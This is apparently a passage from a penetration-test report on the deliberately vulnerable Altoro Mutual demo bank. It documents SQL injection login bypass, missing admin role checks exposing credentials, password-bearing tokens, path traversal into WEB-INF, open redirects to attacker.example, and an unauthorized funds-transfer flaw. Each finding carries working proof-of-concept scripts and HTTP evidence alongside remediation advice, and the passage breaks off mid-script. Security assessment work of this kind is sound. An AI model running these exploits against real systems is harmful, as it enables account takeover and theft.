POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "admin_hacked"}

HTTP/1.1 200 OK
{"Authorization":"<token>","success":"admin is now logged in"}
```

```http
GET /api/account HTTP/1.1
Authorization: Bearer <token>

HTTP/1.1 200 OK
{"Accounts": [ { "Name" : "Corporate", "id": "800000"}, { "Name" : "Checking", "id": "800001"}, {
"Name" : "Checking", "id": "800009"} ]}
```

The same credential is accepted by the legacy interface:

```http
POST /doLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded

uid=admin&passw=admin_hacked

HTTP/1.1 302 Found
Location: /bank/main.jsp
```

```
For contrast, the identical `GET /api/account` request without an `Authorization` header returns
`401 loggedIn=false`.

A control payload that cannot resolve a row behaves as expected, demonstrating the oracle is not
unconditional: `{"username":"' OR LOWER(USER_ID)='no_such_user'-- ","password":"x"}` returns HTTP
400.
```

REMEDIATION

Replace every string-concatenated credential lookup with a parameterised statement (JDBC `PreparedStatement` with bound `?` placeholders) in both the REST login handler and the legacy `/doLogin` servlet, and centralise authentication in a single shared helper so the two entry points cannot diverge. Apply allow-list input validation to the `username`/`uid` and `password`/`passw` fields (reject characters and lengths outside the expected pattern) as defence in depth, but treat parameterisation as the primary control rather than relying on filtering. Ensure the SQL is executed with the minimum database privileges required, and remove any dynamic fragments (such as `ORDER BY` clauses) that cannot be expressed with bound parameters. While correcting the authentication code, store passwords as salted adaptive hashes (for example bcrypt/Argon2) and compare them in constant time and case-sensitively, so that a future injection cannot disclose plaintext credentials and so that the case-insensitive comparison currently in use no longer reduces password entropy. Add rate limiting and lockout to both login endpoints, and log authentication failures for monitoring.

7. Broken Function-Level Authorization: Ordinary User Reaches Admin Console and Cleartext Credentials at /admin/admin.jsp

HIGH

CVSS 7.1 **Target** https://demo.testfire.net **Endpoint** /admin/admin.jsp **Method** GET

DESCRIPTION

The administration console at `/admin/admin.jsp` is gated only by authentication, not by an administrator role. Any authenticated user — for example the ordinary, non-privileged account `jsmith` — can load the full admin page, which renders the complete user roster, every account balance, and cleartext `username:password:role` credential triplets (including an administrator credential). The same session can also invoke the admin user-management action and create a persistent user record. Unauthenticated requests are redirected to the login page, so the only barrier the application enforces is "is logged in".

IMPACT

A normal authenticated user obtains data and capabilities reserved for administrators: the entire user directory (151 usernames), account balances for all customers, and cleartext passwords for listed accounts — including an administrator credential. The disclosed administrator credential was verified to authenticate successfully, giving the attacker full administrative control over user and account administration without ever compromising an administrator. The same missing check also lets the low-privileged user create persistent user records through the admin action. Because account passwords are exposed in cleartext, the exposure is directly exploitable rather than merely reconnaissance.

TECHNICAL ANALYSIS

The deployed application exposes two parallel interfaces over the same business functions: a JSP web tier (`/admin/*`) and a REST API (`/api/admin/*`). The web admin console performs an authentication

check only. Requests without a valid session (no cookie, or a syntactically valid but unknown `JSESSIONID`) are redirected with `302 /login.jsp`, but any authenticated session is served the console with `200 OK` regardless of role; there is no server-side role/authority assertion on the page or on the admin actions it exposes.

The page itself is a full administration console containing:

- An add-user form (`POST addUser`: firstname, lastname, username, password1, password2).
- A change-password form (`POST changePassword`: username, password1, password2).
- An add-account form (`POST addAccount`: username, accttypes).
- A `<select name="username">` holding the complete user roster (151 options).
- `<option value="pdataN<username>:<password>:<role>">` entries that embed cleartext credential triplets for accounts, including an entry whose role is `admin`.
- An account listing (ACCOUNT_ID, ACCOUNT_NAME, BALANCE, USERID) and a schema listing that includes `PASSWORD`, `MFA_ENABLED`, and `TOTP_SECRET` columns.

Because no role gate exists on the web admin tier, an ordinary session can both read this data and drive the admin forms. A `POST /admin/addUser` issued with the ordinary `jsmith` session returned `302 admin.jsp` and created a user row that persisted and was visible to a completely independent session, confirming a real (not stubbed) state change rather than a cosmetic success page. The API admin endpoints exhibit the same missing authority check: `POST /api/admin/addUser` and `POST /api/admin/changePassword` return `200` with a generic success body to a non-admin Bearer token while returning `401` when unauthenticated; their effect could not be positively confirmed, so the demonstrated exploitation path relies on the web console and the `addUser` action.

PROOF OF CONCEPT

1. Authenticate as the ordinary, non-privileged account by submitting the login form (`POST /doLogin` with `uid=jsmith&passw=demo1234`), which returns `302 /bank/main.jsp` and issues a `JSESSIONID` cookie.
2. Reuse that session cookie to request the administration console at `GET /admin/admin.jsp`; the server returns `200 OK` with the full ~31 KB admin page.
3. Confirm the page contains the add-user and change-password forms, the 151-entry user roster, and the cleartext credential-triplet options.
4. As the negative control, request `GET /admin/admin.jsp` with no cookie and again with a random invalid `JSESSIONID`; both return `302 /login.jsp`, isolating the missing control to role enforcement rather than authentication.
5. Still using the ordinary session, submit `POST /admin/addUser` with a unique username and password; the response is `302 admin.jsp`.
6. Load `GET /admin/admin.jsp` from a brand-new, independent session and observe that the newly created username is present in the roster, proving the action produced durable state.

POC SCRIPT

```
import re
import requests

BASE = "https://demo.testfire.net"
requests.packages.urllib3.disable_warnings()
```

```
def sess():
s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0"})
return s

U, PW = "k9v2m4x7", "Test4321"

# 1. Negative control: anonymous access is rejected
anon = sess()
r1 = anon.get(BASE + "/admin/admin.jsp", allow_redirects=False, verify=False)
print("anon admin.jsp ->", r1.status_code, r1.headers.get("Location")) # 302 /login.jsp

# 2. Authenticate as an ordinary (non-admin) user
js = sess()
js.post(BASE + "/doLogin", data={"uid": "jsmith", "passw": "demo1234"},
allow_redirects=False, verify=False)

# 3. EXPLOIT: ordinary session is served the admin console
r3 = js.get(BASE + "/admin/admin.jsp", verify=False)
html = r3.text
print("jsmith admin.jsp ->", r3.status_code, len(r3.content)) # 200, ~31 KB
print(" addUser form present :", 'name="firstname"' in html)
print(" cred-triplet options :", len(re.findall(r'value="pdata[^"]*"', html)))

# 4. EXPLOIT: ordinary session performs an admin action
r4 = js.post(BASE + "/admin/addUser",
data={"firstname": "K", "lastname": "V", "username": U,
"password1": PW, "password2": PW, "add": "Add User"},
allow_redirects=False, verify=False)
print("jsmith addUser ->", r4.status_code, r4.headers.get("Location")) # 302 admin.jsp

# 5. Durability: a brand-new independent session sees the created user
ind = sess()
ind.post(BASE + "/doLogin", data={"uid": "jsmith", "passw": "demo1234"}, verify=False)
r5 = ind.get(BASE + "/admin/admin.jsp", verify=False)
print("independent session sees created user:", U in r5.text) # True
```

EVIDENCE

Access bracket for `GET /admin/admin.jsp` (all three responses captured through the proxy):

```http
# Exploit - ordinary jsmith session
GET /admin/admin.jsp HTTP/1.1
Host: demo.testfire.net
Cookie: JSESSIONID=14F219B31D5FD61F1884A092BBF5F613; AltoroAccounts=...
--- response ---
HTTP/1.1 200 OK
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 31574
```

```http
# Control - no session
GET /admin/admin.jsp HTTP/1.1
Host: demo.testfire.net
--- response ---
HTTP/1.1 302 Found
Location: /login.jsp
```

An identical `302 /login.jsp` is returned when a random, unknown `JSESSIONID` is supplied.

Redacted excerpt of sensitive data rendered into the console for the ordinary user (passwords masked):

```html
<!-- user roster -->
<select name="username" id="username" size="1">
... 151 account names including: admin, jdoe, sspeed, tuser ...
</select>

<!-- cleartext credential triplets -->
<option value="pdata6jdoe:********:user">jdoe</option>
<option value="pdata1admin:********:admin">admin</option>

<!-- account / balance listing -->
<option value="eac7800007 :Checking:10151.99 ">800007</option>
<option value="eac6800006 :Savings:69104.0 ">800006</option>

<!-- underlying schema columns exposed -->
FIRST_NAME, LAST_NAME, MFA_ENABLED, PASSWORD, ROLE, TOTP_SECRET, USER_ID
```

Admin action performed by the ordinary session (`POST /admin/addUser`), and the same username subsequently rendered to an independent session's console:

```html
<option value="k9v2m4x7">k9v2m4x7</option>
```

The administrator credential disclosed by the page was verified to authenticate successfully, confirming the exposure yields administrative access and is not inert.

REMEDIATION

Enforce an explicit server-side authorization decision on every admin function, binding the authenticated principal to an administrator role before any admin page or action is processed — do not rely on the UI hiding links or on authentication alone. Apply the check centrally (for example an authorization filter/middleware covering the entire `/admin/*` and `/api/admin/*` path space) so that every present and future admin endpoint inherits it, and return HTTP 403 for authenticated non-administrators. Stop rendering and storing account passwords in cleartext: remove credential triplets and password columns from any page, store only salted password hashes, and add regression tests that assert a non-admin principal receives 403 for each admin route and action. Review the API admin endpoints for the same role assertion, since they currently accept non-admin tokens.

8. API Bearer Token Encodes Recoverable Credentials and Is Not Invalidated by Logout

LOW

CVSS 3.7 **Target** https://demo.testfire.net

DESCRIPTION

The REST API `Authorization` bearer token is not an opaque session handle: it is a base64 blob whose first two fields are the user's username and **password** in reversible encoding, followed by a random suffix that the server ignores. Anyone who observes a token therefore recovers the account password itself, not

merely a revocable session. In addition, `GET /api/logout` reports success but does not invalidate the token — the identical token continues to be accepted afterwards.

IMPACT

A bearer token is password-equivalent and permanent. Any party that obtains a token — from a log or proxy trace, browser history or referrer data, a shared or compromised device, or a cross-site scripting flaw elsewhere in the application — gains the user's actual password, which is valid beyond this application and which the user cannot revoke by logging out. Because `GET /api/logout` only returns a success message and does not invalidate the token, a user who logs out believing the session ended remains fully authenticated with the captured token, and there is no expiry that limits the window. For an administrative token the recovered credential is a usable administrator password. The demonstrated token belongs to an ordinary account holding synthetic demo data, so the immediate data exposure is limited; the defect is the recoverable credential and the absence of revocation.

TECHNICAL ANALYSIS

`POST /api/login` returns an `Authorization` value of the form `base64(base64(username) + ":" + base64(password) + ":" + suffix)`. Decoding one level yields `<b64 user>:<b64 pass>:<8 random bytes>`; decoding the first two fields yields the username and the plaintext password verbatim. The base64 encoding is reversible and provides no confidentiality, so the credential is disclosed in full to any holder of the token — this is not a session handle but a transport for the password.

The third field is generated freshly on each login (two logins with identical credentials return different suffixes) and is never validated: replaying tokens built from the same username and password with an empty suffix, the literal string `ZZZZ`, or three zero bytes are all accepted with `HTTP 200`. The server instead re-parses the first two fields and re-runs the credential lookup on every request; that is why altering the embedded password correctly returns `401`. The suffix therefore performs no integrity function, and the token has no signature, MAC or other authenticity protection.

Logout is cosmetic with respect to the API: `GET /api/logout` returns `{"LoggedOut" : "True"}` but the same token remains accepted by `GET /api/login` and `GET /api/account` afterwards. No expiry was observed within the assessment window, so a captured token remains valid indefinitely and cannot be revoked by the user.

Separately, the credential comparison in the same subsystem is case-insensitive (`jsmith` authenticates with `demo1234`, `DEMO1234`, `Demo1234`, `dEmO1234`, and a trailing space is tolerated), which reduces the effective entropy of every password and is consistent with a credential store or collation that does not treat the password as an exactly-compared secret.

PROOF OF CONCEPT

1. Send `POST https://demo.testfire.net/api/login` with JSON body `{"username":"jsmith","password":"demo1234"}` and record the `Authorization` value from the response.
2. Base64-decode the token once to obtain three colon-separated fields.
3. Base64-decode the first field to recover the username (`jsmith`) and the second field to recover the plaintext password (`demo1234`); confirm these are the credentials that were submitted.
4. Send `GET https://demo.testfire.net/api/login` with header `Authorization: Bearer <token>` and observe `HTTP 200 {"loggedin":"true"}`.

5. Send `GET https://demo.testfire.net/api/logout` with the same `Authorization` header and observe `HTTP 200 {"LoggedOut":"True"}`.
6. Repeat the request from step 4 with the identical token and observe `HTTP 200 {"loggedin":"true"}` again, proving the logout did not invalidate it; `GET /api/account` with the same token also continues to return account data.
7. Re-run step 1 and, keeping the username and password fields unchanged, replace the third field with an empty or arbitrary value; observe the replayed request is still accepted, confirming the suffix is not a signature.

POC SCRIPT

```
import json, base64, urllib.request, ssl

BASE = "https://demo.testfire.net"
CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE

def post(path, payload):
r = urllib.request.Request(BASE + path, data=json.dumps(payload).encode(), method="POST")
r.add_header("Content-Type", "application/json")
try:
with urllib.request.urlopen(r, context=CTX, timeout=20) as resp:
return resp.status, resp.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()

def get(path, token=None):
r = urllib.request.Request(BASE + path, method="GET")
if token:
r.add_header("Authorization", "Bearer " + token)
try:
with urllib.request.urlopen(r, context=CTX, timeout=20) as resp:
return resp.status, resp.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()

# 1. obtain a token
_, body = post("/api/login", {"username": "jsmith", "password": "demo1234"})
token = json.loads(body)["Authorization"]

# 2. decode the token and recover the plaintext credentials
fields = base64.b64decode(token).split(b":")
print("token fields :", fields)
print("recovered username:", base64.b64decode(fields[0]).decode())
print("recovered password:", base64.b64decode(fields[1]).decode())

# 3. token is valid, then logged out, then valid again
print("before logout :", get("/api/login", token)[0]) # 200
print("logout response :", get("/api/logout", token)[1]) # {"LoggedOut" : "True"}
print("AFTER logout :", get("/api/login", token)[0]) # 200 <-- not invalidated
print("data after logout :", get("/api/account", token)[0]) # 200

# 4. the third field is not a signature - arbitrary suffixes are accepted
def forge(username, password, suffix):
return base64.b64encode(
base64.b64encode(username.encode()) + b":" +
base64.b64encode(password.encode()) + b":" + suffix
).decode()

for suffix in (b"", b"ZZZZ", b"\x00\x01\x02"):
print("forged suffix", suffix, "->", get("/api/login", forge("jsmith", "demo1234", suffix))[0])
```

EVIDENCE

A token issued for `jsmith` decodes directly to the account's plaintext password:

```http
POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"jsmith","password":"demo1234"}

HTTP/1.1 200 OK
{"Authorization":"YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==","success":"jsmith is now logged in"}
```

```text
base64-decode("YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==")
-> b'anNtaXRo:ZGVtbzEyMzQ=:?(?\x19??'
-> base64-decode('anNtaXRo') = "jsmith"
-> base64-decode('ZGVtbzEyMzQ=') = "demo1234"
```

The third field is not a signature: replays of the same credentials with an empty, arbitrary (`ZZZZ`) or zeroed suffix are all accepted (`HTTP 200`), so the token carries no integrity protection.

Logout reports success but the token keeps working — the identical `Authorization` header is used before and after:

```http
GET /api/login HTTP/1.1
Authorization: Bearer YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==
-> HTTP/1.1 200 OK {"loggedin":"true"}

GET /api/logout HTTP/1.1
Authorization: Bearer YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==
-> HTTP/1.1 200 OK {"LoggedOut" : "True"}

GET /api/login HTTP/1.1
Authorization: Bearer YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==
-> HTTP/1.1 200 OK {"loggedin":"true"} <-- same token, after logout

GET /api/account HTTP/1.1
Authorization: Bearer YW5OdGFYUm86WkdWdGJ6RXlNelE9Oj8oPxk/Pw==
-> HTTP/1.1 200 OK (account data returned)
```

Related credential-handling weakness observed in the same subsystem: the password comparison is case-insensitive. `jsmith` authenticates with `demo1234`, `DEMO1234`, `Demo1234` and `dEmO1234`, and a trailing space is also accepted, which reduces the effective entropy of every password.

REMEDIATION

Replace the credential-bearing token with an opaque, high-entropy session identifier that carries no user data: generate at least 128 bits of randomness from a cryptographically secure source, store only a hash of it server-side together with the subject, issue time and expiry, and resolve the subject from that server-side record on each request instead of decoding credentials out of the client value. If a self-contained token is required, use a properly signed token (JWS with a strong algorithm and a server-held key, or an equivalent authenticated construction) and keep password material out of it entirely — never place the user's password, or a reversible encoding of it, in a client-visible credential. Implement real session termination: `GET /api/logout` must delete or revoke the server-side session record (and,

for stateless tokens, add the token identifier to a revocation list or use short-lived access tokens with refresh rotation) so that a captured token stops working immediately. Enforce an absolute and idle expiry and reject expired tokens. Store passwords as salted adaptive hashes and compare them case-sensitively in constant time, so that a disclosed token or database record cannot reveal plaintext credentials, and so the current case-insensitive comparison no longer reduces password entropy. Additionally, ensure tokens are never written to application logs, query strings or referrer-reachable URLs, and transmit them only over TLS.

9. Unauthenticated path traversal / local file inclusion via index.jsp 'content' parameter (WEB-INF disclosure)

MEDIUM

CVSS 5.3 **Target** https://demo.testfire.net **Endpoint** /index.jsp?content= **Method** GET

DESCRIPTION

The `content` query parameter of `/index.jsp` is concatenated onto a fixed `static/` prefix and passed to a server-side JSP include without canonicalisation. A single `../` segment escapes the intended directory and lets an unauthenticated remote user read or include any file inside the deployed web application, including the protected `/WEB-INF` directory (deployment descriptor and application configuration).

IMPACT

An unauthenticated attacker can read files that are not exposed over HTTP, including `/WEB-INF/web.xml` (filters, servlets, security configuration, class names) and `/WEB-INF/app.properties` (application configuration). This exposes internal implementation detail that directly aids further attacks (authentication filter mappings, API wiring, disabled/enabled security features). The include primitive also executes protected JSP resources in the context of the public page. On this instance no live credential or key was present in the readable files, so the demonstrated impact is disclosure of restricted configuration rather than of secrets.

TECHNICAL ANALYSIS

`/index.jsp` builds an include target from user input:

```
String content = request.getParameter("content");
if (content == null) content = "default.htm";
...
content = "static/" + content; // user input appended to a fixed base
<jsp:include page="<%= content %>"/> // server-side include, no canonicalisation
```

Because the include path is assembled by string concatenation and resolved by the container, a single `../` traverses out of the `static/` directory into the web-application root:

```
static/../WEB-INF/web.xml -> /WEB-INF/web.xml
```

The container's request dispatcher then reads the resource and writes it into the response. The direct HTTP request for the same resource is blocked (`GET /WEB-INF/web.xml` returns `404`), which is the very boundary the traversal crosses. Two or more `../` segments move above the application root and raise a `NullPointerException` (HTTP 500), so the read is bounded to the web application — it cannot

reach the operating-system filesystem. The same endpoint also includes executable JSP resources (for example `content=../login.jsp` renders the login page), confirming this is a genuine file-inclusion primitive rather than a routing artefact.

PROOF OF CONCEPT

1. Confirm the target file is protected: request `GET /WEB-INF/web.xml` — the server responds `404`.
2. Request the traversal payload: `GET /index.jsp?content=../WEB-INF/web.xml`.
3. Observe `200 OK` with the full contents of the deployment descriptor embedded in the response.
4. Substitute other paths to read further restricted resources, for example `GET /index.jsp?content=../WEB-INF/app.properties`.
5. Repeat without any session cookie to confirm the issue is unauthenticated.

POC SCRIPT

```
# Control: the protected file is NOT directly reachable
curl -s -o /dev/null -w "%{http_code}\n" "https://demo.testfire.net/WEB-INF/web.xml"
# -> 404

# Exploit: traversal via the content parameter (no authentication required)
curl -s "https://demo.testfire.net/index.jsp?content=../WEB-INF/web.xml" | grep -A2 -i
"<filter-name>AuthFilter"
# -> the real WEB-INF/web.xml contents are returned (HTTP 200)

# Additional restricted file
curl -s "https://demo.testfire.net/index.jsp?content=../WEB-INF/app.properties" | grep -i
"database.alternateDataSource"
```

EVIDENCE

Control — the resource is protected over HTTP (request id 1090):

```
GET /WEB-INF/web.xml HTTP/1.1
Host: demo.testfire.net
---
HTTP/1.1 404 Not Found
```

Exploit — traversal returns the protected file with HTTP 200 (request id 1091):

```
GET /index.jsp?content=../WEB-INF/web.xml HTTP/1.1
Host: demo.testfire.net
---
HTTP/1.1 200 OK
```

Response body excerpt (the real deployment descriptor, not a static page):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app ... version="2.5">
<display-name>Altoro Mutual</display-name>
<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.ibm.security.appscan.altoromutual.filter.AuthFilter</filter-class>
</filter>
<filter>
```

```
<filter-name>AdminFilter</filter-name>
<filter-class>com.ibm.security.appscan.altoromutual.filter.AdminFilter</filter-class>
</filter>
<servlet>
<servlet-name>AltoroAPI</servlet-name>
<servlet-class>org.glassfish.jersey.servlet.ServletContainer</servlet-class>
</servlet>
...
```

Benign baseline for comparison — a valid, non-traversing value returns the normal public page (request id 1089): `GET /index.jsp?content=personal.htm` -> `200 OK`, ~8.5 KB.

The same technique reads `/WEB-INF/app.properties` (config property names such as `database.alternateDataSource`), confirming the read is generic rather than specific to one file.

REMEDIATION

1. Eliminate user-controlled path construction: map the client-supplied value to a fixed, server-side allow-list of permitted content identifiers (for example an enumeration of known page keys) instead of using it as a filesystem/include path.
2. If a dynamic include is required, resolve the requested resource against the allowed base directory with a container/`Path` API, canonicalise it, and verify with a strict `startsWith(baseDir + File.separator)` containment check before use; reject any input containing path separators, `..`, or absolute-path markers.
3. Do not rely on the servlet container to protect `WEB-INF`; ensure the application never constructs includes that can point into it, and keep sensitive configuration out of web-application-reachable files where possible.
4. Return a generic error to the client instead of surfacing container exception detail, and restrict the `content` parameter to `GET` values that match the allow-list.

10. Open redirect via bank/customize.jsp 'content' parameter (unvalidated server-side 302)

MEDIUM

CVSS 4.1 **Target** https://demo.testfire.net **Endpoint** /bank/customize.jsp?content= **Method** GET

DESCRIPTION

The `content` parameter of `/bank/customize.jsp` is used directly as an HTTP redirect target. When it begins with `http://` or `https://`, the application issues a `302` to the supplied URL with no host or origin allow-list, letting any authenticated user be redirected to an arbitrary external site.

IMPACT

An attacker who can get an authenticated user to open a crafted link (for example `https://demo.testfire.net/bank/customize.jsp?content=https://attacker.example/login`) causes the trusted banking origin to redirect the victim's browser to an attacker-controlled page. Because the initial URL is on the genuine, valid-TLS bank domain, it is effective for phishing and for laundering links through the trusted host.

TECHNICAL ANALYSIS

The customize handler takes user input and passes it straight to `sendRedirect`:

```
String content = request.getParameter("content");
if (content != null && !content.equalsIgnoreCase("customize.jsp")){
if (content.startsWith("http://") || content.startsWith("https://")){
response.sendRedirect(content);
}
}
```

The only validation is a case-insensitive comparison against the literal `customize.jsp` and a `startsWith("http")` test. Both `http://` and `https://` are accepted, the destination host is never compared against the application's own origin or an allow-list, and there is no check on path, port, or userinfo. Any absolute URL that satisfies the prefix check becomes the `Location` header. The endpoint sits behind the authentication filter, so a valid session is required, but any low-privilege user reaches it.

PROOF OF CONCEPT

1. Log in to obtain an authenticated session (e.g. account `jsmith`).
2. Request `GET /bank/customize.jsp?content=https://example.com/pwn` with the session cookie.
3. Observe `302 Found` with `Location: https://example.com/pwn`.
4. As a control, request `GET /bank/customize.jsp?content=customize.jsp&lang=english` — the page renders normally (`200`) and no redirect is issued.

POC SCRIPT

```
# Authenticate
curl -s -c cj.txt -o /dev/null -X POST "https://demo.testfire.net/doLogin" \
--data "uid=jsmith&passw=<password>"

# Exploit: server-side 302 to an arbitrary external origin
curl -s -i -b cj.txt
"https://demo.testfire.net/bank/customize.jsp?content=https%3A%2F%2Fexample.com%2Fpwn" \
| grep -iE "^(HTTP|Location)"
# -> HTTP/1.1 302 Found
# -> Location: https://example.com/pwn
```

EVIDENCE

Exploit — authenticated request returns a 302 to an external host (request id 1160):

```
GET /bank/customize.jsp?content=https%3A%2F%2Fexample.com%2Fpwn HTTP/1.1
Host: demo.testfire.net
Cookie: JSESSIONID=...
---
HTTP/1.1 302 Found
Location: https://example.com/pwn
Content-Length: 0
```

Control — a legitimate value produces no redirect (request id 436):

```
GET /bank/customize.jsp?content=customize.jsp&lang=zzz_nope HTTP/1.1
---
HTTP/1.1 200 OK
```

```
The same parameter redirected to an arbitrary loopback origin (`Location:
http://127.0.0.1:9099/demo.testfire.net`), confirming the destination is fully attacker-controlled
rather than restricted to a fixed set of paths.
```

REMEDIATION

1. Do not use raw user input as a redirect target. If a redirect is required, accept a relative path only, or map an opaque identifier to a fixed set of server-side destinations.
2. When an absolute destination is unavoidable, parse it with the platform URL parser and enforce an exact allow-list of permitted scheme, host, and (optionally) path — comparing the parsed host against the application's own origin rather than a substring.
3. Require `https:` and reject `//`-prefixed (protocol-relative) values, userinfo (`user@host`), and any host outside the allow-list.
4. Prefer returning to a server-defined landing page after actions rather than honouring a client-supplied URL.

11. Open redirect in disclaimer.htm 'url' parameter with bypassable same-origin guard

MEDIUM

CVSS 4.7 **Target** https://demo.testfire.net **Endpoint** /disclaimer.htm?url= **Method** GET

DESCRIPTION

The `url` parameter of `/disclaimer.htm` is read from the browser URL and assigned to `window.location.href` without validation. The page's intended same-origin restriction is a substring check (`indexOf(hostname) != -1`) that is trivially satisfied by placing the host name anywhere in the attacker's URL, so the browser can be redirected to an arbitrary external site — automatically on page load, with no user interaction on the disclaimer page.

IMPACT

An attacker can craft a link on the genuine bank domain (`https://demo.testfire.net/disclaimer.htm?url=...`) that silently navigates the victim's browser to an attacker-controlled site. The trusted origin and valid TLS certificate make the link convincing for phishing and for bypassing link checks that trust this host. Because the bypass removes the confirmation click, the redirection is fully automatic.

TECHNICAL ANALYSIS

The page derives the destination directly from the current URL and assigns it to the location object:

```
var iPos = document.URL.indexOf("url=")+4;
var sDst = document.URL.substring(iPos, document.URL.length);
// "same-origin" auto-redirect (no confirmation click) if the host name appears anywhere:
if ( sDst.indexOf("http") == 0 && sDst.indexOf(document.location.hostname) != -1 ) {
window.location.href = "http" + sDst.substring(4);
}
function go() { // called by the OK link
var iPos = document.URL.indexOf("url=")+4;
var sDst = document.URL.substring(iPos, document.URL.length);
window.location.href = sDst;
```

```
}
```

The guard is a substring test, not an origin comparison: `document.location.hostname` only has to appear *somewhere* in the string. A URL whose path contains the host name (`http://attacker.example/demo.testfire.net`) starts with `http` and contains `demo.testfire.net`, so the branch fires and the browser is immediately redirected to the attacker's host. Independently, the `go()` handler (the "OK" button) assigns the raw parameter to `window.location.href`, giving a click-through open redirect for any URL.

PROOF OF CONCEPT

1. In a browser, open `https://demo.testfire.net/disclaimer.htm?url=http://127.0.0.1:9099/demo.testfire.net` (a destination whose path embeds the target host name).
2. Observe the page redirect automatically, without clicking "OK", and the browser address bar change to the external destination.
3. Confirm the destination server receives the request (the proving listener logged the browser's GET).
4. Control: open `https://demo.testfire.net/disclaimer.htm?url=http://127.0.0.1:9099/evilpath` (no host name in the value) — the page stays on the disclaimer (no automatic navigation); clicking "OK" then performs the redirect, demonstrating the general click-through case.

POC SCRIPT

```
# Proving server (loopback listener that logs incoming requests)
python3 - <<'PY'
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
open("listener.log","a").write("HIT %s\n" % self.path)
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
def log_message(self,*a): pass
socketserver.TCPServer.allow_reuse_address=True
socketserver.TCPServer(("127.0.0.1",9099), H).serve_forever()
PY

# Browser: automatic redirect (no click) because the host name is embedded in the path
# https://demo.testfire.net/disclaimer.htm?url=http://127.0.0.1:9099/demo.testfire.net
# -> address bar becomes http://127.0.0.1:9099/demo.testfire.net and the listener logs "HIT
/demo.testfire.net"
```

EVIDENCE

````
Proven live in a browser. The page was opened at:

```
https://demo.testfire.net/disclaimer.htm?url=http://127.0.0.1:9099/demo.testfire.net
```

Without any click on the disclaimer page, the browser navigated to
`http://127.0.0.1:9099/demo.testfire.net` and the proving listener received the request from the
browser:

```
GET /demo.testfire.net Host=127.0.0.1:9099 UA=Mozilla/5.0 ... Chrome/131.0.0.0
```
````

```
Control — a destination with no host-name substring does **not** auto-navigate:

```
https://demo.testfire.net/disclaimer.htm?url=http://127.0.0.1:9099/evilpath
-> stays on https://demo.testfire.net/disclaimer.htm?url=...
```

Clicking the page's "OK" control with that same `/evilpath` value then navigated to
`http://127.0.0.1:9099/evilpath` (listener logged `GET /evilpath`), confirming the general
click-through redirect as well.
```

REMEDIATION

1. Do not use a URL taken from the query string as a navigation target. If a destination must be accepted, resolve it to a same-origin relative path, or map an opaque identifier to a fixed server-side list.
2. Replace the substring guard with a strict comparison: parse the value with the platform URL parser and require an exact match of scheme and (post-IDNA) host against the application origin, rejecting protocol-relative (`//host`), userinfo (`user@host`), and unparsable values.
3. Default to no automatic navigation; require an explicit user confirmation for any off-origin destination, and never trust the presence of the host name as proof of same-origin.
4. Add a restrictive `Content-Security-Policy` and avoid assigning user input to `window.location` entirely.

12. Missing authorization on fromAccount in POST /api/transfer lets any authenticated user debit arbitrary accounts

MEDIUM

CVSS 6.5 **Target** https://demo.testfire.net **Endpoint** /api/transfer **Method** POST

DESCRIPTION

The REST endpoint `POST /api/transfer` accepts a client-supplied `fromAccount` and performs the transfer without verifying that the authenticated caller owns that account. Any authenticated low-privilege user can therefore move funds out of any other customer's account into their own account.

IMPACT

An authenticated user (role: user) can debit any account number they can name and credit it to an account they control, with no ownership check. The proof of concept moved funds out of account `800001` — which is not in the caller's account list — into the caller's own account `800019`, and the balance change was confirmed on both sides. Repeated with a negative `transferAmount` (or by swapping the accounts) the same primitive moves value in either direction between arbitrary accounts. This is a direct, unauthorized modification of other customers' account balances: a complete failure of object-level authorization on the money-transfer operation.

TECHNICAL ANALYSIS

The API exposes a money-transfer operation at `POST /api/transfer` with a JSON body of `fromAccount`, `toAccount` and `transferAmount`, authenticated by an `Authorization: Bearer <token>` credential issued by `POST /api/login`.

The handler trusts the `fromAccount` value supplied by the client. It resolves both account numbers and applies a debit to `fromAccount` and a credit to `toAccount` without ever testing that `fromAccount` belongs to the identity behind the bearer token. The account list returned by `GET /api/account` (the caller's own accounts) is not consulted during the transfer, so the caller-controlled account number is the only input that decides which account is debited — a textbook authorization bypass through a user-controlled key.

Two facets of the same missing server-side validation:

1. **No ownership check on `fromAccount`** — arbitrary account numbers are accepted and debited.
2. **No sign check on `transferAmount`** — negative values are accepted and reverse the flow of value (`{"fromAccount":"800019","toAccount":"800030","transferAmount":-100}` moved `+100` into the source and `-100` out of the destination), giving a second way to drain an account named as the destination.

The web interface (`POST /bank/doTransfer`) does not exhibit the `fromAccount` flaw — a request naming an unowned account produced no balance change — so the defect is specific to the REST API path.

PROOF OF CONCEPT

1. Authenticate to the API as the low-privilege user `jsmith` via `POST /api/login` and capture the returned bearer token.
2. Confirm the victim account is not owned by the caller: `GET /api/account` lists `800002`, `800003`, `4539082039396288`, `800011`, `800013`–`800021`, `800024`, `800030` — `800001` is absent.
3. Record the starting balances with `GET /api/account/800001` and `GET /api/account/800019`.
4. Send `POST /api/transfer` with the bearer token and body `{"fromAccount":"800001","toAccount":"800019","transferAmount":1}`.
5. Observe HTTP 200 and `{"success":"1.0 was successfully transferred from Account 800001 into Account 800019..."}`.
6. Re-read both balances: the victim account decreased by exactly 1.00 and the caller's account increased by exactly 1.00, proving funds left an account the caller does not own.
7. (Cleanup / negative-amount variant) Repeat with `transferAmount` set to a negative value to move value in the opposite direction against any account named as the destination.

POC SCRIPT

```
import requests, decimal, json

BASE = "https://demo.testfire.net"
s = requests.Session()
s.verify = False

# 1. authenticate as the low-privilege user
